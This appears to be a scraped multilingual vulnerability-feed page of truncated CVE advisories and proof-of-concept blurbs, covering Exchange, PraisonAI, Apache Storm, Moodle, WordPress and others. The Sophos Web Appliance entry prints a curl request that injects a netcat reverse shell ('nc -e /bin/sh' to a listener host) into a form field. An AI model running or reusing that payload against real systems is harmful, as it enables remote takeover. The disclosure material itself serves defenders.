CVE-2026-62911

CVE-2026-62911 Microsoft Exchange Server 사전 인증Pre-auth RCE. 자격 증명이 필요 없습니다. Orange TsaiDEVCORE가 Pwn2Own Berlin 2026에서 3-버그 체인의 일부로 이 취약점을 사용했습니다. $200,000 상금, 완전한 SYSTEM 탈취. 기능 Exchange는 MailboxReplicationProxyServiceMRSProxy를 두 개의 경로로 노출합니다. 그중 하나는 Extended Protection 없이 HTTP.sys에 있습니다:...

CVE-2026-57127

PraisonAI is a multi-agent teams system. Prior to 4.6.58, recipe serve installs APIKeyAuthMiddleware or JWTAuthMiddleware when an operator selects api-key or JWT authentication, but each middleware forwards requests when PRAISONAIAPIKEY or PRAISONAIJWTSECRET and the corresponding recipe value are...

CVE-2026-55235 langgraph-api: Relative webhook targets in LangGraph Server can reach in-process routes without authentication

langgraph-api implements the LangGraph API for rapid development and testing. Prior to 0.10.0, langgraph-api permits a run or cron to specify a relative webhook target that is delivered through an in-process loopback transport, and the authentication middleware treats that transport as internal...

CVE-2023-1671

CVE-2023-1671 Pre-Auth RCE в Sophos Web Appliance PoC root@kitploit: curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip ...

CVE-2024-38473

Preuve de Concept PoC pour le Problème d'Encodage dans modproxy du Serveur HTTP Apache Ce dépôt contient des scripts de Preuve de Concept PoC pour démontrer un problème d'encodage dans le module modproxy du Serveur HTTP Apache versions 2.4.59 et antérieures. Cette vulnérabilité permet d'envoyer d...

CVE-2026-82433

Description getNimbusConf returned the complete daemon configuration without redaction after only a user-level authorization check. Where the cluster is configured with them, that response includes storm.zookeeper.auth.payload and the keystore and truststore passwords for the Thrift, Netty and...

CVE-2024-10924

CVE-2024-10924 Really Simple Security Free, Pro, and Pro Multisite 9.0.0 – 9.1.1.1 – Contournement d'authentification Description Les plugins Really Simple Security versions Free, Pro et Pro Multisite pour WordPress sont vulnérables à un contournement d'authentification dans les versions 9.0.0 à...

CVE-2026-57127

PraisonAI (multi-agent LLM framework on PyPI) prior to 4.6.58 contains a fail-open authentication bypass in praisonai/recipe/serve.py. When an operator sets auth: api-key or auth: jwt in the recipe YAML but fails to provide the corresponding secret (via YAML field or PRAISONAI_API_KEY / PRAISONAI...

CVE-2026-57127 praisonai: recipe serve auth middleware silently disables itself when no secret is set

PraisonAI is a multi-agent teams system. Prior to 4.6.58, recipe serve installs APIKeyAuthMiddleware or JWTAuthMiddleware when an operator selects api-key or JWT authentication, but each middleware forwards requests when PRAISONAIAPIKEY or PRAISONAIJWTSECRET and the corresponding recipe value are...

HPE-Aruba-AOS8-Vulnerabilities

⚠️ Statut de divulgation : Toutes les découvertes de ce dépôt ont été soumises au programme de bug bounty HPE Networking Bugcrowd entre mai et juin 2026. Cinq des six soumissions ont été clôturées comme « Non applicables » au niveau du triage sans réconciliation technique des preuves soumises...

CVE-2021-36394-Pre-Auth-RCE-in-Moodle

CVE-2021-36394-Pre-Auth-RCE-in-Moodle Introduction à la vulnérabilité Moodle est le système de gestion de l'apprentissage le plus populaire au monde. Créez votre site d'apprentissage en ligne en quelques minutes ! Une vulnérabilité d'exécution de code à distance non autorisée existe dans le modul...

wp2shell-poc

wp2shell 💙 Soutenez le projet Si vous appréciez mon travail, envisagez de soutenir le projet via USDT TRC20 : TQBA72kakjCZLnJt8fJYcD7dyQCEpzNtVN Chaîne RCE pré-authentification du cœur de WordPress wp2shell est une preuve de concept de recherche en sécurité démontrant une chaîne de vulnérabilités...

CVE-2026-57128

PraisonAI (praisonaiagents

CVE-2022-36804-PoC

CVE-2022-36804-PoC Многопоточный эксплойт-скрипт для CVE-2022-36804, затрагивающего большинство версий BitBucket 8.3.1. Полное описание уязвимости см. здесь: https://jira.atlassian.com/browse/BSERV-13438 Вся заслуга в обнаружении принадлежит TheGrandPew Скрипт автоматически обнаруживает публичные...

CVE-2026-84179

Description getTopologyPageInfo merged the Nimbus daemon configuration with the topology's own configuration and returned the result without redaction in the topologyconf field of TopologyPageInfo. The Storm UI copied that value verbatim into the configuration field of GET /api/v1/topology/id and...

EUVD-2026-77524

Description getNimbusConf returned the complete daemon configuration without redaction after only a user-level authorization check. Where the cluster is configured with them, that response includes storm.zookeeper.auth.payload and the keystore and truststore passwords for the Thrift, Netty and...

EUVD-2026-77521

Description When ZooKeeper authentication is configured, Storm deliberately retains storm.zookeeper.topology.auth.payload in the topology configuration, because workers need it. Nimbus then served that configuration verbatim to any caller holding read-only topology permissions, so a user whose on...

EUVD-2026-77482

Description getTopologyPageInfo merged the Nimbus daemon configuration with the topology's own configuration and returned the result without redaction in the topologyconf field of TopologyPageInfo. The Storm UI copied that value verbatim into the configuration field of GET /api/v1/topology/id and...

watchTowr-vs-FreePBX-CVE-2025-57819

CVE-2025-57819 FreePBX Pre-Auth RCE Outil générateur d'artefacts de détection FreePBX Pre-Auth RCE 1day Détection en action Le générateur d'artefacts de détection tente de téléverser le script php ou ajoute un nouvel utilisateur si le téléversement échoue. root@kitploit: $ python3...

CVE-2023-27524

CVE-2023-27524 Contournement de l'authentification Apache Superset CVE-2023-27524 Références https://nvd.nist.gov/vuln/detail/CVE-2023-27524 https://github.com/horizon3ai/CVE-2023-27524...